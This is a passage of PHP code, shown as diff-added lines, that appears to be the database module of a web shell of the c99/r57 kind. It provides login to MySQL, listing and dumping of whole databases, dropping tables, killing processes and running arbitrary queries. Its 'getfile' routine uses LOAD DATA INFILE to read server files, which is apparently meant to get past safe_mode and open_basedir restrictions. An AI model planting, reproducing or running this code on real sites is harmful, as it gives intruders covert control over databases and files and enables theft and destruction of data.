form:</b><table><tr><td><b>Username</b></td><td><b>Password</b>&nbsp;</td><td><b>Database</b>&nbsp;</td></tr><form><input type="hidden" name="act" value="sql"><tr><td><input type="text" name="sql_login" value="root" maxlength="64"></td><td><input type="password" name="sql_passwd" value="" maxlength="64"></td><td><input type="text" name="sql_db" value="" maxlength="64"></td></tr><tr><td><b>Host</b></td><td><b>PORT</b></td></tr><tr><td align=right><input type="text" name="sql_server" value="localhost" maxlength="64"></td><td><input type="text" name="sql_port" value="3306" maxlength="6" size="3"></td><td><input type="submit" value="Connect"></td></tr><tr><td></td></tr></form></table></td><?php } + else + { + //Start left panel + if (!empty($sql_db)) + { + ?><td width="25%" height="100%" valign="top"><a href="<?php echo $surl."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&"; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_tables($sql_db); + if (!$result) {echo mysql_smarterror();} + else + { + echo "---[ <a href=\"".$sql_surl."&\"><b>".htmlspecialchars($sql_db)."</b></a> ]---<br>"; + $c = 0; + while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM ".$row[0]); $count_row = mysql_fetch_array($count); echo "<b>�&nbsp;<a href=\"".$sql_surl."sql_db=".htmlspecialchars($sql_db)."&sql_tbl=".htmlspecialchars($row[0])."\"><b>".htmlspecialchars($row[0])."</b></a> (".$count_row[0].")</br></b>"; mysql_free_result($count); $c++;} + if (!$c) {echo "No tables found in database.";} + } + } + else + { + ?><td width="1" height="100" valign="top"><a href="<?php echo $sql_surl; ?>"><b>Home</b></a><hr size="1" noshade><?php + $result = mysql_list_dbs($sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + ?><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><select name="sql_db"><?php + $c = 0; + $dbs = ""; + while ($row = mysql_fetch_row($result)) {$dbs .= "<option value=\"".$row[0]."\""; if ($sql_db == $row[0]) {$dbs .= " selected";} $dbs .= ">".$row[0]."</option>"; $c++;} + echo "<option value=\"\">Databases (".$c.")</option>"; + echo $dbs; + } + ?></select><hr size="1" noshade>Please, select database<hr size="1" noshade><input type="submit" value="Go"></form><?php + } + //End left panel + echo "</td><td width=\"100%\" height=\"1\" valign=\"top\">"; + //Start center panel + $diplay = true; + if ($sql_db) + { + if (!is_numeric($c)) {$c = 0;} + if ($c == 0) {$c = "no";} + echo "<hr size=\"1\" noshade><center><b>There are ".$c." table(s) in this DB (".htmlspecialchars($sql_db).").<br>"; + if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ <a href=\"".$item[1]."\">".$item[0]."</a> ] ";}} + echo "</b></center>"; + $acts = array("","dump"); + if ($sql_act == "tbldrop") {$sql_query = "DROP TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblempty") {$sql_query = ""; foreach($boxtbl as $v) {$sql_query .= "DELETE FROM `".$v."` \n";} $sql_act = "query";} + elseif ($sql_act == "tbldump") {if (count($boxtbl) > 0) {$dmptbls = $boxtbl;} elseif($thistbl) {$dmptbls = array($sql_tbl);} $sql_act = "dump";} + elseif ($sql_act == "tblcheck") {$sql_query = "CHECK TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tbloptimize") {$sql_query = "OPTIMIZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblrepair") {$sql_query = "REPAIR TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "tblanalyze") {$sql_query = "ANALYZE TABLE"; foreach($boxtbl as $v) {$sql_query .= "\n`".$v."` ,";} $sql_query = substr($sql_query,0,strlen($sql_query)-1).";"; $sql_act = "query";} + elseif ($sql_act == "deleterow") {$sql_query = ""; if (!empty($boxrow_all)) {$sql_query = "DELETE * FROM `".$sql_tbl."`;";} else {foreach($boxrow as $v) {$sql_query .= "DELETE * FROM `".$sql_tbl."` WHERE".$v." LIMIT 1;\n";} $sql_query = substr($sql_query,0,strlen($sql_query)-1);} $sql_act = "query";} + elseif ($sql_tbl_act == "insert") + { + if ($sql_tbl_insert_radio == 1) + { + $keys = ""; + $akeys = array_keys($sql_tbl_insert); + foreach ($akeys as $v) {$keys .= "`".addslashes($v)."`, ";} + if (!empty($keys)) {$keys = substr($keys,0,strlen($keys)-2);} + $values = ""; + $i = 0; + foreach (array_values($sql_tbl_insert) as $v) {if ($funct = $sql_tbl_insert_functs[$akeys[$i]]) {$values .= $funct." (";} $values .= "'".addslashes($v)."'"; if ($funct) {$values .= ")";} $values .= ", "; $i++;} + if (!empty($values)) {$values = substr($values,0,strlen($values)-2);} + $sql_query = "INSERT INTO `".$sql_tbl."` ( ".$keys." ) VALUES ( ".$values." );"; + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + elseif ($sql_tbl_insert_radio == 2) + { + $set = mysql_buildwhere($sql_tbl_insert,", ",$sql_tbl_insert_functs); + $sql_query = "UPDATE `".$sql_tbl."` SET ".$set." WHERE ".$sql_tbl_insert_q." LIMIT 1;"; + $result = mysql_query($sql_query) or print(mysql_smarterror()); + $result = mysql_fetch_array($result, MYSQL_ASSOC); + $sql_act = "query"; + $sql_tbl_act = "browse"; + } + } + if ($sql_act == "query") + { + echo "<hr size=\"1\" noshade>"; + if (($submit) and (!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "<b>Error:</b> <br>".$sql_query_error."<br>";} + if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;} + if ((!$submit) or ($sql_act)) {echo "<table border=\"0\" width=\"100%\" height=\"1\"><tr><td><form action=\"".$sql_surl."\" method=\"POST\"><b>"; if (($sql_query) and (!$submit)) {echo "Do you really want to:";} else {echo "SQL-Query :";} echo "</b><br><br><textarea name=\"sql_query\" cols=\"100\" rows=\"10\">".htmlspecialchars($sql_query)."</textarea><br><br><input type=\"hidden\" name=\"sql_act\" value=\"query\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"submit\" value=\"1\"><input type=\"hidden\" name=\"sql_goto\" value=\"".htmlspecialchars($sql_goto)."\"><input type=\"submit\" name=\"sql_confirm\" value=\"Yes\">&nbsp;<input type=\"submit\" value=\"No\"></form></td></tr></table>";} + } + if (in_array($sql_act,$acts)) + { + ?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new table:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newtbl"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newtbl" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>Dump DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="dump"><input type="hidden" name="sql_db" value="<?php echo htmlspecialchars($sql_db); ?>"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>">&nbsp;<input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") + { + if (empty($submit)) + { + $diplay = false; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b>&nbsp;<input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".$SERVER_NAME."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else + { + $diplay = true; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = true; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) + { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) + { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else + { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) + { + if (!empty($sql_tbl)) + { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) + { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[&nbsp;<b>Structure</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[&nbsp;<b>Browse</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[&nbsp;<b>Dump</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") + { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) + { + + } + else + { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) + { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) + { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") + { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) + { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) + { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else + { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>�</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else + { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) + { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") + { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") + { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") + { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") + { + if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";} + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = false; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); //comment it if you want to leave database + } + } + } + } + echo "</td></tr></table>"; + if ($sql_sock) + { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected 